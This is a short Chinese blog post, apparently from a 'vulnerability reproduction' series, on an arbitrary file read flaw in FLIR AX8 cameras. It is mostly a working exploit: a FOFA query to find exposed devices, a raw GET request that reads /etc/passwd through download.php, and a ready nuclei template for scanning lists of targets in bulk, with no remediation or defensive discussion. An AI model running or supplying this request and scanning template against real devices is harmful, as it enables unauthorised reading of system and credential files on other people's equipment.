FLIR-FLIR-AX8某接口存在任意文件读取

原创

samRsa

修改于 2024-03-13 13:39:34

1680

修改于 2024-03-13 13:39:34

文章被收录于专栏：漏洞复现

1、fofa语法

app="FLIR-FLIR-AX8"

2、数据包

GET /download.php?file=/etc/passwd HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 Gecko/20100101 Firefox/119.0

3、复现截图

get方式直接请求

4、nuclei POC

基本命令： nuclei.exe -l 网址文件.txt -t POC.yaml

id: dahuainfoout
 
info:
  name: FLIR-AX8 任意文件下载
  author: someone
  severity: high
  metadata: 
    fofa-query: app="FLIR-FLIR-AX8"

http:
  - raw:
      - |
        GET /download.php?file=/etc/passwd HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 Gecko/20100101 Firefox/119.0
         
    matchers:
      - type: dsl
        dsl:
          - status_code==200 && contains_all(body,"root")